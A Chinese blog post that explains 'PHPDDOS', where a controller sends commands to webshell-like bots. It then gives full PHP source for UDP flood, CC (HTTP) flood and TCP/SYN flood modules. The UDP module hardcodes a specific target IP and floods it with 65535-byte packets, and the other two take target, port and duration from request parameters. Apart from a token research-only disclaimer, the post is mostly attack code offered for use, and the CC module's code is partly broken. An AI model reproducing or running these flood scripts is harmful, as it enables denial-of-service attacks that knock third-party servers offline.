当前位置:首页 > PHP > 正文内容

PHP使用UDP发包,PHPDDOS,PHP攻击

高老师9年前 (2017-06-11)PHP2992

    PHPDDOS的原理是使用一个主控端批量向被控端(也就是特殊的webshell)发送攻击命令,方式一般是get或者post,达到统一指挥的目的。而被控端一般使用了php中的sock来进行攻击。用过末日DDOS工具应该了解,攻击效果显著。

【一】。UDP源码

<?php
$packets = 0;
$ip = '116.255.242.14';
$port = 80;
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = '60';
$time = time();
echo '状态 : 正常运行中.....<br><br>';
$max_time = $time+$exec_time;
$out=null;
for($i=0;$i<65535;$i++){
        $out .= 't';
}
 
while(true){
$packets++;
        if(time() > $max_time){
                break;
        }
 
        $fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "  攻击包时长:<font color=Red><span class=\"text\">".$exec_time." 秒</span><br><br></font>";
echo "  攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>";
echo "    攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";
echo "  攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>";
echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

【二】。CC源码

<?php
echo "状态 : 正常运行中.....<br>";
echo "================================================<br>";
echo "  <font color=blue>www.phpddos.com<br>";
echo "  CC Flood 模块<br>";
echo "  作者:ybhacker<br>";
echo "  警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>";
echo "================================================<br><br>";
error_reporting(E_ALL);  //提示错误信息
set_time_limit(0);     //设定一个程式所允许执行的秒数   0 是无限循环
ob_implicit_flush();     // 刷新输出缓冲
$address = $_POST['site'];  // 网站地址
$port = $_POST['port'];      // 端口
$dongu = $_POST['dongu'];   //循环次数
$sayi = 1;   

while ( $sayi <= $dongu )   //变量asyi小于 循环次数变量 dongu 才会继续循环
{
    if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
        echo "HaHa\n";
    }

    if (socket_bind($sock, $address, $port) === false) {       // 连接端口
        echo "HaHa\n";
    }

    if (socket_listen($sock, 5) === false) {
        echo "HaHa\n";
    }
        $msg = "HTTP/1.1 GET /\r\nHost:"+$_GET['site']+"\r\nConnection: Keep-Alive\r\n";
        socket_write($msg);
        socket_close($sock);
        $sayi++;   // 循环一次 变量sayi 加1
        echo "Goodbye...".$sayi;   // 输出循环次数
}
?>

【三】。TCP源码

<?php
ini_set("display_errors", "Off");
$packets = 0;
$ip = $_GET['ip'];
$port = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "状态 : 正常运行中.....<br>";
$max_time = $time+$exec_time;
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }

        $fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0);
}
echo "================================================<br>";
echo "  <font color=blue>www.phpddos.com<br>";
echo "  SYN Flood 模块<br>";
echo "  作者:ybhacker<br>";
echo "  警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>";
echo "================================================<br><br>";
echo "  攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>";
echo "    攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";
echo "  攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>";
echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

扫描二维码推送至手机访问。

版权声明:本文由高久峰个人博客发布,如需转载请注明出处。

本文链接:https://blog.20230611.cn/post/6.html

分享给朋友:

“PHP使用UDP发包,PHPDDOS,PHP攻击” 的相关文章

PHP函数赋值给一个变量的另类用法

PHP函数赋值给一个变量的另类用法

<?php   function  go($str) { echo'I\'m '.$str;  }   $goto='go';   $goto('gaojiufeng'...

php trait的使用

php trait的使用

PHP不像net支持多继承,自身只支持单继承,为了解决这个问题,php出了Trait这个特性,减少单继承语言的限制。并且能让代码复用率更高。说白了就是一个对象的属性和方法扩展工具一样。例如:trait exts {     public f...

【二】PHP多进程学习-进程信号管理

【二】PHP多进程学习-进程信号管理

(1).学习目标:    了解常见信号类型(百度PHP支持的信号类型),(2).相关函数学习:    (2.1).pcntl_signal函数用于设置一个信号管理器接收进程信号,参数1:信号类型,参数2:回调函数,用于在接收到参数1类型的信...

swoole中的worker_num和task_worker_num

swoole中的worker_num和task_worker_num

(1)swoole启动的主进程是master进程负责全局管理,然后master进程会再fork一个manager进程。(2)manager进程开始统一管理进程创建回收管理。(3)manager进程根据设置的worker_num和task_worker_num来创建work进程和task进程因此启动s...

php爬虫执行js,php执行js

php爬虫执行js,php执行js

当我们使用php爬虫采集网站时经常会遇到内容使用ajax异步加载。一般采取的方案是PHP模拟再请求api接口获取数据,但是有时候前端js加密非常麻烦,我们需要将js的加密方法转换为php方法方便curl请求。当然通过了解我们可以通过3种方案解决。第一种:使用phpv8js扩展执行js代码。(pecl...

php redis队列实现秒杀 , php用redis 实现秒杀功能

php redis队列实现秒杀 , php用redis 实现秒杀功能

为什么使用队列?因为pop取队列具有原子性。假如我们需要秒杀一个商品id,我们先将商品的库存保存到一个队列。例如:<?php $redis = new Redis(); $redis->connect('127.0.0.1', 6...